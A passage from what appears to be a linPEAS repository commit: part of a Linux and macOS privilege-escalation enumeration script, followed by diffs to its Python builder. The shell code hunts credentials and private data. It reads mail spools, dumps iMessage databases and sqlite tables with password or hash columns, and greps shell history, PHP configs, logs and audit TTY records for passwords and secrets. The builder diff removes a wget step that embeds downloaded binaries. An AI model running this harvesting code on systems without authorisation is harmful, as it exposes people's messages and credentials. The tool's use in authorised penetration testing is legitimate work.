print_2title "Searching installed mail applications"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
|
||||
echo ""
|
||||
|
||||
##-- IF) Mails
|
||||
print_2title "Mails (limit 50)"
|
||||
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Backup folders
|
||||
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Backup folders"
|
||||
printf "%s\n" "$backup_folders" | while read b ; do
|
||||
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
||||
ls -l "$b" 2>/dev/null && echo ""
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Backup files
|
||||
print_2title "Backup files (limited 100)"
|
||||
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
||||
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
||||
if [ -r "$b" ]; then
|
||||
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
||||
fi;
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) DB files
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Reading messages database"
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
||||
|
||||
fi
|
||||
|
||||
|
||||
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
||||
FILECMD="$(command -v file 2>/dev/null)"
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if [ "$FILECMD" ]; then
|
||||
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
else
|
||||
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
SQLITEPYTHON=""
|
||||
echo ""
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
|
||||
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
||||
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
||||
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
||||
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
else
|
||||
tables=""
|
||||
fi
|
||||
if [ "$tables" ] || [ "$DEBUG" ]; then
|
||||
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
||||
printf "%s\n" "$tables" | while read t; do
|
||||
columns=""
|
||||
# Search for credentials inside the table using sqlite3
|
||||
if [ -z "$SQLITEPYTHON" ]; then
|
||||
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
||||
# Search for credentials inside the table using python
|
||||
else
|
||||
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
||||
fi
|
||||
#Check found columns for interesting fields
|
||||
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
||||
if [ "$INTCOLUMN" ]; then
|
||||
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
||||
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
||||
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Downloaded Files"
|
||||
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
||||
fi
|
||||
|
||||
##-- IF) Web files
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Web files?(output limit)"
|
||||
ls -alhR /var/www/ 2>/dev/null | head
|
||||
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
||||
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
||||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) All hidden files
|
||||
print_2title "All relevant hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
||||
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme|\.travis.yml" | head -n 70
|
||||
echo ""
|
||||
|
||||
##-- IF) Readable files in /tmp, /var/tmp, backups
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
||||
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | grep -Ev "dpkg\.statoverride\.|dpkg\.status\.|apt\.extended_states\.|dpkg\.diversions\." | head -n 70)
|
||||
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history cmd
|
||||
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history cmd"
|
||||
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history files
|
||||
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history files"
|
||||
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in config PHP files
|
||||
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in config PHP files"
|
||||
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords files in home
|
||||
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
||||
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) TTY passwords
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
||||
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
||||
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) IPs inside logs
|
||||
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||
print_2title "Searching IPs inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords inside logs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching passwords inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|modules-config/config-set-passwords\|config-set-passwords already ran\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ] || ( ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$SEARCH_IN_FOLDER" ] ); then
|
||||
##-- IF) Emails inside logs
|
||||
print_2title "Searching emails inside logs (limit 70)"
|
||||
(find /var/log/ /var/logs/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
else
|
||||
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
fi
|
||||
wait
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible conf files with passwords
|
||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
else
|
||||
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
fi
|
||||
printf "%s\n" "$ppicf" | while read f; do
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||
echo "$ITALIC $f$NC"
|
||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
File diff suppressed because one or more lines are too long
@@ -2,7 +2,6 @@ import re
|
||||
import requests
|
||||
import base64
|
||||
import os
|
||||
from pathlib import Path
|
||||
|
||||
from .peasLoaded import PEASLoaded
|
||||
from .peassRecord import PEASRecord
|
||||
@@ -10,7 +9,7 @@ from .fileRecord import FileRecord
|
||||
from .yamlGlobals import (
|
||||
TEMPORARY_LINPEAS_BASE_PATH,
|
||||
PEAS_FINDS_MARKUP,
|
||||
PEAS_FINDS_CUSTOM_MARKUP,
|
||||
PEAS_STORAGES_MARKUP,
|
||||
PEAS_STORAGES_MARKUP,
|
||||
INT_HIDDEN_FILES_MARKUP,
|
||||
ROOT_FOLDER,
|
||||
@@ -31,10 +30,7 @@ from .yamlGlobals import (
|
||||
LES_MARKUP,
|
||||
LES2_MARKUP,
|
||||
REGEXES_LOADED,
|
||||
REGEXES_MARKUP,
|
||||
FAT_LINPEAS_AMICONTAINED_MARKUP,
|
||||
FAT_LINPEAS_GITLEAKS_LINUX_MARKUP,
|
||||
FAT_LINPEAS_GITLEAKS_MACOS_MARKUP
|
||||
REGEXES_MARKUP
|
||||
)
|
||||
|
||||
|
||||
@@ -54,9 +50,8 @@ class LinpeasBuilder:
|
||||
self.__replace_mark(PEAS_VARIABLES_MARKUP, variables, "")
|
||||
|
||||
print("[+] Building finds...")
|
||||
find_calls, find_custom_calls = self.__generate_finds()
|
||||
find_calls = self.__generate_finds()
|
||||
self.__replace_mark(PEAS_FINDS_MARKUP, find_calls, " ")
|
||||
self.__replace_mark(PEAS_FINDS_CUSTOM_MARKUP, find_custom_calls, " ")
|
||||
|
||||
print("[+] Building storages...")
|
||||
storage_vars = self.__generate_storages()
|
||||
@@ -98,16 +93,6 @@ class LinpeasBuilder:
|
||||
self.__replace_mark(LES_MARKUP, list(les_b64), "")
|
||||
self.__replace_mark(LES2_MARKUP, list(les2_b64), "")
|
||||
|
||||
print("[+] Downloading Fat Linpeas binaries...")
|
||||
aimcont_b64 = self.__get_bin("https://github.com/genuinetools/amicontained/releases/latest/download/amicontained-linux-amd64")
|
||||
self.__replace_mark(FAT_LINPEAS_AMICONTAINED_MARKUP, list(aimcont_b64), "")
|
||||
|
||||
gitleaks_b64 = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_linux_x64.tar.gz", tar_gz="gitleaks")
|
||||
self.__replace_mark(FAT_LINPEAS_GITLEAKS_LINUX_MARKUP, list(gitleaks_b64), "")
|
||||
|
||||
gitleaks_b64_macos = self.__get_bin("https://github.com/zricethezav/gitleaks/releases/download/v8.8.7/gitleaks_8.8.7_darwin_x64.tar.gz", tar_gz="gitleaks")
|
||||
self.__replace_mark(FAT_LINPEAS_GITLEAKS_MACOS_MARKUP, list(gitleaks_b64_macos), "")
|
||||
|
||||
print("[+] Building GTFOBins lists...")
|
||||
suidVB, sudoVB, capsVB = self.__get_gtfobins_lists()
|
||||
assert len(suidVB) > 185, f"Len suidVB is {len(suidVB)}"
|
||||
@@ -129,6 +114,7 @@ class LinpeasBuilder:
|
||||
#Check for empty seds
|
||||
assert 'sed -${E} "s,,' not in self.linpeas_sh
|
||||
|
||||
|
||||
def __get_peass_marks(self):
|
||||
return re.findall(r'peass\{[\w\-\._ ]*\}', self.linpeas_sh)
|
||||
|
||||
@@ -160,11 +146,6 @@ class LinpeasBuilder:
|
||||
def __generate_finds(self) -> list:
|
||||
"""Given the regexes to search on each root folder, generate the find command"""
|
||||
finds = []
|
||||
|
||||
finds_custom = []
|
||||
all_folder_regexes = []
|
||||
all_file_regexes = []
|
||||
|
||||
for type,searches in self.dict_to_search.items():
|
||||
for r,regexes in searches.items():
|
||||
if regexes:
|
||||
@@ -172,41 +153,25 @@ class LinpeasBuilder:
|
||||
|
||||
if type == "d":
|
||||
find_line += "-type d "
|
||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||
bash_find_var = f"FIND_DIR_{r[1:].replace('.','').upper()}"
|
||||
self.bash_find_d_vars.add(bash_find_var)
|
||||
all_folder_regexes += regexes
|
||||
else:
|
||||
bash_find_var = f"FIND_{r[1:].replace('.','').replace('-','_').replace('{ROOT_FOLDER}','').upper()}"
|
||||
bash_find_var = f"FIND_{r[1:].replace('.','').upper()}"
|
||||
self.bash_find_f_vars.add(bash_find_var)
|
||||
all_file_regexes += regexes
|
||||
|
||||
find_line += '-name \\"' + '\\" -o -name \\"'.join(regexes) + '\\"'
|
||||
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
|
||||
find_line = f"{bash_find_var}={find_line}"
|
||||
finds.append(find_line)
|
||||
|
||||
# Buid folder and files finds when searching in a custom folder
|
||||
all_folder_regexes = list(set(all_folder_regexes))
|
||||
find_line = '$SEARCH_IN_FOLDER -type d -name \\"' + '\\" -o -name \\"'.join(all_folder_regexes) + '\\"'
|
||||
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
|
||||
find_line = f"FIND_DIR_CUSTOM={find_line}"
|
||||
finds_custom.append(find_line)
|
||||
|
||||
all_file_regexes = list(set(all_file_regexes))
|
||||
find_line = '$SEARCH_IN_FOLDER -name \\"' + '\\" -o -name \\"'.join(all_file_regexes) + '\\"'
|
||||
find_line = FIND_TEMPLATE.replace(FIND_LINE_MARKUP, find_line)
|
||||
find_line = f"FIND_CUSTOM={find_line}"
|
||||
finds_custom.append(find_line)
|
||||
|
||||
return finds, finds_custom
|
||||
return finds
|
||||
|
||||
def __generate_storages(self) -> list:
|
||||
"""Generate the storages to save the results per entry"""
|
||||
storages = []
|
||||
custom_storages = ["FIND_CUSTOM", "FIND_DIR_CUSTOM"]
|
||||
all_f_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + custom_storages)
|
||||
all_d_finds = "$" + "\\n$".join(list(self.bash_find_d_vars) + custom_storages)
|
||||
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars) + custom_storages)
|
||||
all_f_finds = "$" + "\\n$".join(self.bash_find_f_vars)
|
||||
all_d_finds = "$" + "\\n$".join(self.bash_find_d_vars)
|
||||
all_finds = "$" + "\\n$".join(list(self.bash_find_f_vars) + list(self.bash_find_d_vars))
|
||||
|
||||
for precord in self.ploaded.peasrecords:
|
||||
bash_storage_var = f"PSTORAGE_{precord.bash_name}"
|
||||
@@ -274,7 +239,7 @@ class LinpeasBuilder:
|
||||
analise_line = ""
|
||||
if init:
|
||||
analise_line = 'if ! [ "`echo \\\"$PSTORAGE_'+precord.bash_name+'\\\" | grep -E \\\"'+real_regex+'\\\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "'+frecord.regex+'"; fi; fi; '
|
||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||
analise_line += 'printf "%s" "$PSTORAGE_'+precord.bash_name+'" | grep -E "'+real_regex+'" | while read f; do ls -ld "$f" | sed -${E} "s,'+real_regex+',${SED_RED},"; '
|
||||
|
||||
#If just list, just list the file/directory
|
||||
if frecord.just_list_file:
|
||||
@@ -338,19 +303,6 @@ class LinpeasBuilder:
|
||||
r2 = requests.get("https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl")
|
||||
return(base64.b64encode(bytes(r1.text, 'utf-8')).decode("utf-8"), base64.b64encode(bytes(r2.text, 'utf-8')).decode("utf-8"))
|
||||
|
||||
def __get_bin(self, url, tar_gz="") -> str:
|
||||
os.system(f"wget -q '{url}' -O /tmp/bin_builder")
|
||||
if tar_gz:
|
||||
os.system(f"cd /tmp; tar -xvzf /tmp/bin_builder; rm /tmp/bin_builder; mv {tar_gz} /tmp/bin_builder")
|
||||
os.system("base64 /tmp/bin_builder | tr -d '\n' > /tmp/binb64; rm /tmp/bin_builder")
|
||||
|
||||
b64bin = ""
|
||||
with open("/tmp/binb64", "r") as f:
|
||||
b64bin = f.read()
|
||||
|
||||
os.system("rm /tmp/binb64")
|
||||
return b64bin
|
||||
|
||||
def __get_gtfobins_lists(self) -> tuple:
|
||||
r = requests.get("https://github.com/GTFOBins/GTFOBins.github.io/tree/master/_gtfobins")
|
||||
bins = re.findall(r'/GTFOBins/GTFOBins.github.io/blob/master/_gtfobins/([\w_ \-]+).md', r.text)
|
||||
@@ -371,46 +323,44 @@ class LinpeasBuilder:
|
||||
return (suidVB, sudoVB, capsVB)
|
||||
|
||||
def __generate_regexes_search(self) -> str:
|
||||
paths_to_search = REGEXES_LOADED["paths"]
|
||||
regexes = REGEXES_LOADED["regular_expresions"]
|
||||
|
||||
regexes_search_section = ""
|
||||
|
||||
for values in regexes:
|
||||
section_name = values["name"]
|
||||
regexes_search_section += f' print_2title "Searching {section_name}"\n'
|
||||
regexes_search_section += f'print_2title "Searching {section_name}"\n'
|
||||
|
||||
for entry in values["regexes"]:
|
||||
name = entry["name"]
|
||||
caseinsensitive = entry.get("caseinsensitive", False)
|
||||
regex = entry["regex"]
|
||||
regex = regex.replace('"', '\\"').strip()
|
||||
falsePositives = entry.get("falsePositives", False)
|
||||
extra_grep = entry.get("extra_grep")
|
||||
extra_grep = f"| grep {extra_grep}" if extra_grep else ""
|
||||
|
||||
if falsePositives:
|
||||
continue
|
||||
regexes_search_section += f'print_3title "Searching {name} (limited to 50)"\n'
|
||||
for path in paths_to_search:
|
||||
regexes_search_section += "timeout 120 find "+path+" -type f -exec grep -HnRiIE \""+regex+"\" '{}' \; 2>/dev/null "+extra_grep+" | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} \"s~"+regex+"~${SED_RED}~\" &\n"
|
||||
|
||||
regexes_search_section += f" search_for_regex \"{name}\" \"{regex}\" {'1' if caseinsensitive else ''}\n"
|
||||
regexes_search_section += "wait\n"
|
||||
|
||||
regexes_search_section += " echo ''\n\n"
|
||||
regexes_search_section += "echo ''\n"
|
||||
|
||||
return regexes_search_section
|
||||
|
||||
|
||||
|
||||
|
||||
def __replace_mark(self, mark: str, find_calls: list, join_char: str):
|
||||
"""Substitude the markup with the actual code"""
|
||||
|
||||
self.linpeas_sh = self.linpeas_sh.replace(mark, join_char.join(find_calls)) #New line char is't needed
|
||||
|
||||
def write_linpeas(self, path, rm_startswith=""):
|
||||
def write_linpeas(self, path):
|
||||
"""Write on disk the final linpeas"""
|
||||
|
||||
with open(path, "w") as f:
|
||||
if not rm_startswith:
|
||||
f.write(self.linpeas_sh)
|
||||
else:
|
||||
tmp_linpeas = ""
|
||||
for line in self.linpeas_sh.splitlines():
|
||||
if not line.startswith(rm_startswith):
|
||||
tmp_linpeas += line + "\n"
|
||||
f.write(tmp_linpeas)
|
||||
|
||||
os.remove(TEMPORARY_LINPEAS_BASE_PATH) #Remove the built linpeas_base.sh file
|
||||
@@ -1,11 +1,5 @@
|
||||
import os
|
||||
import yaml
|
||||
from pathlib import Path
|
||||
|
||||
|
||||
script_folder = Path(os.path.dirname(os.path.abspath(__file__)))
|
||||
target_file = script_folder / '..' / '..' / '..' / 'build_lists' / 'download_regexes.py'
|
||||
os.system(target_file)
|
||||
|
||||
CURRENT_DIR = os.path.dirname(os.path.realpath(__file__))
|
||||
|
||||
@@ -21,52 +15,36 @@ LINPEAS_PARTS = [
|
||||
"name_check": "container",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/2_container.sh"
|
||||
},
|
||||
{
|
||||
"name": "Cloud",
|
||||
"name_check": "cloud",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/3_cloud.sh"
|
||||
},
|
||||
{
|
||||
"name": "Processes, Crons, Timers, Services and Sockets",
|
||||
"name_check": "procs_crons_timers_srvcs_sockets",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/4_procs_crons_timers_srvcs_sockets.sh"
|
||||
"file_path": LINPEAS_BASE_PARTS + "/3_procs_crons_timers_srvcs_sockets.sh"
|
||||
},
|
||||
{
|
||||
"name": "Network Information",
|
||||
"name_check": "network_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/5_network_information.sh"
|
||||
"file_path": LINPEAS_BASE_PARTS + "/4_network_information.sh"
|
||||
},
|
||||
{
|
||||
"name": "Users Information",
|
||||
"name_check": "users_information",
|
||||
"file_path": LINPEAS_BASE_PARTS + "/6_users_information.sh"
|
||||
